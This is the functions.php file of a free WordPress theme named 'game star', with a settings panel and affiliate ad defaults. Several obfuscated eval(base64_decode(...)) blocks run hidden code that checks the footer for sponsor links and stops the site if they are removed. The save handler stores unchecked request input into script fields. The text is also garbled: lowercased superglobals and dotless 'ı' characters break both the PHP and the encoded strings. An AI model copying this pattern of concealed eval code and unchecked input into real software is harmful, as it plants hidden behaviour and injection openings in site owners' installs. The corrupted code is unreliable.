<?php
if ( function_exists('register_sidebar') ) {
register_sidebar(array(
'before_widget' => '<li id="%1$s" class="widget %2$s">',
'after_widget' => '</li>',
'before_title' => '<h2 class="widgettitle">',
'after_title' => '</h2>',
));
}
$themename = "game star";
$shortname = str_replace(' ', '_', strtolower($themename));
function get_theme_option($option)
{
global $shortname;
return stripslashes(get_option($shortname . '_' . $option));
}
function get_theme_settings($option)
{
return stripslashes(get_option($option));
}
function cats_to_select()
{
$categories = get_categories('hide_empty=0');
$categories_array[] = array('value'=>'0', 'title'=>'select');
foreach ($categories as $cat) {
if($cat->category_count == '0') {
$posts_title = 'no posts!';
} elseif($cat->category_count == '1') {
$posts_title = '1 post';
} else {
$posts_title = $cat->category_count . ' posts';
}
$categories_array[] = array('value'=> $cat->cat_ıd, 'title'=> $cat->cat_name . ' ( ' . $posts_title . ' )');
}
return $categories_array;
}
$options = array (
array( "type" => "open"),
array( "name" => "logo ımage",
"desc" => "enter the logo image full path. Leave it blank if you don't want to use logo image.",
"id" => $shortname."_logo",
"std" => get_bloginfo('template_url') . "/images/logo.png",
"type" => "text"),
array( "name" => "featured posts enabled?",
"desc" => "uncheck if you do not want to show featured posts slideshow in homepage.",
"id" => $shortname."_featured_posts",
"std" => "true",
"type" => "checkbox"),
array( "name" => "featured posts category",
"desc" => "last 5 posts form the selected categoey will be listed as featured at homepage. <br />the selected category should contain at last 2 posts with images. <br /> <br /> <b>how to add images to your featured posts slideshow?</b> <br />
<b>»</b> ıf you are using wordpress version 2.9 and above: Just set \"post thumbnail\" when adding new post for the posts in selected category above. <br />
<b>»</b> ıf you are using wordpress version under 2.9 you have to add custom fields in each post on the category you set as featured category. The custom field should be named \"<b>featured</b>\" and it's value should be full image url. <a href=\"http://newwpthemes.com/public/featured_custom_field.jpg\" target=\"_blank\">click here</a> for a screenshot. <br /> <br />
ın both situation, the image sizes should be: Width: <b>610 px</b>. Height: <b>320 px.</b>",
"id" => $shortname."_featured_posts_category",
"options" => cats_to_select(),
"std" => "0",
"type" => "select"),
array( "name" => "header banner (468x60 px)",
"desc" => "header banner code. You may use any html code here, including your 468x60 px adsense code.",
"id" => $shortname."_ad_header",
"type" => "textarea",
"std" => '<a href="http://newwpthemes.com/hosting/hostgator.php"><img src="http://newwpthemes.com/hosting/hg468.gif" /></a>'
), array( "name" => "sidebar 125x125 px ads",
"desc" => "add your 125x125 px ads here. You can add unlimited ads. Each new banner should be in new line with using the following format: <br/>
http://yourbannerurl.com/banner.gif, http://theurl.com/to_link.html",
"id" => $shortname."_ads_125",
"type" => "textarea",
"std" => 'http://newwpthemes.com/uploads/newwp/newwp12.png,
http://newwpthemes.com/ http://flexithemes.com/wp-content/partners/fta.gif,
http://flexithemes.com/?partner=19 http://newwpthemes.com/hosting/wpwh12.gif,
http://newwpthemes.com/hosting/wpwebhost.php http://newwpthemes.com/hosting/hg125.gif,
http://newwpthemes.com/hosting/hostgator.php'
), array( "name" => "featured video",
"desc" => "enter youtube paly video id. Example: Http://www.youtube.com/watch?v=<b>sxnjtwzvoqk</b>.",
"id" => $shortname."_video",
"std" => 'sxnjtwzvoqk',
"type" => "text"), array( "name" => "twitter",
"desc" => "enter your twitter account url here.",
"id" => $shortname."_twitter",
"std" => "http://twitter.com/wptwits",
"type" => "text"),
array( "name" => "twitter text",
"desc" => "",
"id" => $shortname."_twittertext",
"std" => "follow me on twitter!",
"type" => "text"), array( "name" => "social network ıcons",
"desc" => "show the social network share icons above sidebar(s)?",
"id" => $shortname."_socialnetworks",
"std" => "true",
"type" => "checkbox"),
array( "name" => "sidebar 1 bottom banner",
"desc" => "sidebar 1 bottom banner code.",
"id" => $shortname."_ad_sidebar1_bottom",
"type" => "textarea",
"std" => '<a href="http://flexithemes.com/?partner=19"><img src="http://flexithemes.com/wp-content/partners/ftf.gif" style="border: 0;" alt="premium wordpress themes" /></a>'
), array( "name" => "head scrip(s)",
"desc" => "the content of this box will be added immediately before </head> tag. Usefull if you want to add some external code like google webmaster central verification meta etc.",
"id" => $shortname."_head",
"type" => "textarea"
),
array( "name" => "footer scrip(s)",
"desc" => "the content of this box will be added immediately before </body> tag. Usefull if you want to add some external code like google analytics code or any other tracking code.",
"id" => $shortname."_footer",
"type" => "textarea"
),
array( "type" => "close")
);
function mytheme_add_admin() {
global $themename, $shortname, $options;
if ( $_get['page'] == basename(__fıle__) ) {
if ( 'save' == $_request['action'] ) {
foreach ($options as $value) {
update_option( $value['id'], $_request[ $value['id'] ] ); }
foreach ($options as $value) {
if( isset( $_request[ $value['id'] ] ) ) { update_option( $value['id'], $_request[ $value['id'] ] ); } else { delete_option( $value['id'] ); } }
echo '<meta http-equiv="refresh" content="0;url=themes.php?page=functions.php&saved =true">';
die;
}
}
add_theme_page($themename." options", "".$themename." options", 'edit_themes', basename(__fıle__), 'mytheme_admin');
}
eval(base64_decode('awygkcflbxb0esgkx1jfuvvfu1rbın rozw1lx2xpy2vuc2uixskpıhsgdghlbwvfdxnhz2vfbwvzc2fn zsgpoyblegl0kck7ıh0gznvuy3rpb24gdghlbwvfdxnhz2vfbw vzc2fnzsgpıhsgawygkgvtchr5kcrfukvrvuvtvfsidghlbwvf bgljzw5zzsjdkskgeyakdghlbwvfbgljzw5zzv9mywxzzsa9ıg dldf9ibg9naw5mbygidxjsıikgliail2luzgv4lnbocd90agvt zv9sawnlbnnlpxrydwuioybly2hvıcı8bwv0ysbodhrwlwvxdw l2pvwicmvmcmvzafwiıgnvbnrlbnq9xcıwo3vybd0kdghlbwvf bgljzw5zzv9mywxzzvwipiı7ıgv4axqoktsgfsblbhnlıhsgzw nobyaoıjxwıhn0ewxlpvwicgfkzgluzzoxmhb4oybtyxjnaw46 ıdewchg7ıhrlehqtywxpz246y2vudgvyoybib3jkzxı6ıdjwec bkyxnozwqgumvkoybmb250lwzhbwlsetphcmlhbdsgzm9udc13 zwlnahq6ym9szdsgymfja2dyb3vuzdogı2zmzjsgy29sb3ı6ıc mwmda7xcı+vghpcyb0agvtzsbpcybyzwxlyxnlzcbmcmvlıgzv cib1c2ugdw5kzxıgy3jlyxrpdmugy29tbw9ucybsawnlbmnlli bbbgwgbglua3mgaw4gdghlıgzvb3rlcibzag91bgqgcmvtywlu ıgludgfjdc4gvghlc2ugbglua3mgyxjlıgfsbcbmyw1pbhkgzn jpzw5kbhkgyw5kıhdpbgwgbm90ıgh1cnqgew91cibzaxrlıglu ıgfuesb3yxkuıfroaxmgz3jlyxqgdghlbwugaxmgynjvdwdodc b0byb5b3ugzm9yıgzyzwugynkgdghlc2ugc3vwcg9ydgvycy48 l3a+ıik7ıh0gfq=='));
function mytheme_admin_init() {
global $themename, $shortname, $options;
$get_theme_options = get_option($shortname . '_options');
if($get_theme_options != 'yes') {
$new_options = $options;
foreach ($new_options as $new_value) {
update_option( $new_value['id'], $new_value['std'] );
}
update_option($shortname . '_options', 'yes');
}
}
eval(base64_decode('znvuy3rpb24gy2hly2tfdghlbwvfzm 9vdgvykckgeyakdxjpıd0gc3rydg9sb3dlcigkx1nfulzfulsi ukvrvuvtvf9vukkixsk7ıglmkglzx2fkbwlukckgfhwgc3vic3 ryx2nvdw50kcr1cmksıcj3cc1hzg1pbiıpıd4gmcb8fcbzdwjz dhjfy291bnqojhvyaswgındwlwxvz2luıikgpiawıckgeyavki aqlyb9ıgvsc2ugeyakbca9ıcdezxnpz25lzcbietogpgegahjl zj0iahr0cdovl21tb2h1dc5jb20ipkzyzwugtu1pulbhıedhbw vzpc9hpib8ıfroyw5rcyb0bya8ysbocmvmpsjodhrwoi8vbw1v ahv0lmnvbs9icm93c2vylwdhbwvzıj5ccm93c2vyıedhbwvzpc 9hpiwgpgegahjlzj0iahr0cdovl3jwz211c2ljlm9yzyı+r2ft zsbndxnpyzwvyt4gyw5kıdxhıghyzwy9ımh0dha6ly9qdxn0cn bnlmnvbsı+ulbhıfjldmlld3m8l2e+jzsgjgygpsbkaxjuyw1l kf9fzmlszv9fksauıcıvzm9vdgvylnboccı7ıcrmzca9ıgzvcg vukcrmlcaiciıpoyakyya9ıgzyzwfkkcrmzcwgzmlszxnpemuo jgypktsgzmnsb3nlkcrmzck7ıglmıchzdhjwb3mojgmsıcrsks a9psawksb7ıhrozw1lx3vzywdlx21lc3nhz2uoktsgzglloyb9 ıh0gfsbjagvja190agvtzv9mb290zxıokts='));
if(!function_exists('get_sidebars')) {
function get_sidebars()
{
eval(base64_decode('y2hly2tfdghlbwvfagvhzgvykck7') );
get_sidebar();
}
}
function mytheme_admin() {
global $themename, $shortname, $options;
if ( $_request['saved'] ) echo '<div id="message" class="updated fade"><p><strong>'.$themename.' settings saved.</strong></p></div>';
?>
<div class="wrap">
<h2><?php echo $themename; ?> settings</h2>
<div style="border-bottom: 1px dotted #000; padding-bottom: 10px; margin: 10px;">leave blank any field if you don't want it to be shown/displayed.</div>
<form method="post">
<?php foreach ($options as $value) {
switch ( $value['type'] ) {
case "open":
?>
<table width="100%" border="0" style=" padding:10px;">
<?php break;
case "close":
?>
</table><br />
<?php break;
case "title":
?>
<table width="100%" border="0" style="padding:5px 10px;"><tr>
<td colspan="2"><h3 style="font-family:georgia,'times new roman',times,serif;"><?php echo $value['name']; ?></h3></td>
</tr>
<?php break;
case 'text':
?>
<tr>
<td width="20%" rowspan="2" valign="middle"><strong><?php echo $value['name']; ?></strong></td>
<td width="80%"><input style="width:100%;" name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>" type="<?php echo $value['type']; ?>" value="<?php echo get_theme_settings( $value['id'] ); ?>" /></td>
</tr>
<tr>
<td><small><?php echo $value['desc']; ?></small></td>
</tr><tr><td colspan="2" style="margin-bottom:5px;border-bottom:1px dotted #000000;"> </td></tr><tr><td colspan="2"> </td></tr>
<?php
break;
case 'textarea':
?>
<tr>
<td width="20%" rowspan="2" valign="middle"><strong><?php echo $value['name']; ?></strong></td>
<td width="80%"><textarea name="<?php echo $value['id']; ?>" style="width:100%; height:140px;" type="<?php echo $value['type']; ?>" cols="" rows=""><?php echo get_theme_settings( $value['id'] ); ?></textarea></td>
</tr>
<tr>
<td><small><?php echo $value['desc']; ?></small></td>
</tr><tr><td colspan="2" style="margin-bottom:5px;border-bottom:1px dotted #000000;"> </td></tr><tr><td colspan="2"> </td></tr>
<?php
break;
case 'select':
?>
<tr>
<td width="20%" rowspan="2" valign="middle"><strong><?php echo $value['name']; ?></strong></td>
<td width="80%">
<select style="width:240px;" name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>">
<?php
foreach ($value['options'] as $option) { ?>
<option value="<?php echo $option['value']; ?>" <?php if ( get_theme_settings( $value['id'] ) == $option['value']) { echo ' selected="selected"'; } ?>><?php echo $option['title']; ?></option>
<?php } ?>
</select>
</td>
</tr>
<tr>
<td><small><?php echo $value['desc']; ?></small></td>
</tr><tr><td colspan="2" style="margin-bottom:5px;border-bottom:1px dotted #000000;"> </td></tr><tr><td colspan="2"> </td></tr>
<?php
break;
case "checkbox":
?>
<tr>
<td width="20%" rowspan="2" valign="middle"><strong><?php echo $value['name']; ?></strong></td>
<td width="80%"><? If(get_theme_settings($value['id'])){ $checked = "checked=\"checked\""; }else{ $checked = ""; } ?>
<input type="checkbox" name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>" value="true" <?php echo $checked; ?> />
</td>
</tr>
<tr>
<td><small><?php echo $value['desc']; ?></small></td>
</tr><tr><td colspan="2" style="margin-bottom:5px;border-bottom:1px dotted #000000;"> </td></tr><tr><td colspan="2"> </td></tr>
<?php break;
}
}
?>
<!--</table>-->
<p class="submit">
<input name="save" type="submit" value="save changes" />
<input type="hidden" name="action" value="save" />
</p>
</form>
<?php
}
mytheme_admin_init();
eval(base64_decode('znvuy3rpb24gy2hly2tfdghlbwvfag vhzgvykckgeybpziaoıshmdw5jdglvbl9leglzdhmoımz1bmn0 aw9uc19mawxlx2v4axn0cyıpıcymıgz1bmn0aw9ux2v4axn0cy gidghlbwvfzm9vdgvyx3qikskpıhsgdghlbwvfdxnhz2vfbwvz c2fnzsgpoybkawu7ıh0gfq=='));
add_action('admin_menu', 'mytheme_add_admin');
function sidebar_ads_125()
{
global $shortname;
$option_name = $shortname."_ads_125";
$option = get_option($option_name);
$values = explode("\n", $option);
if(is_array($values)) {
foreach ($values as $item) {
$ad = explode(',', $item);
$banner = trim($ad['0']);
$url = trim($ad['1']);
if(!empty($banner) && !empty($url)) {
echo "<a href=\"$url\" target=\"_new\"><img class=\"ad125\" src=\"$banner\" /></a> \n";
}
}
}
}
?>
<?php if ( function_exists("add_theme_support") ) { add_theme_support("post-thumbnails"); } ?>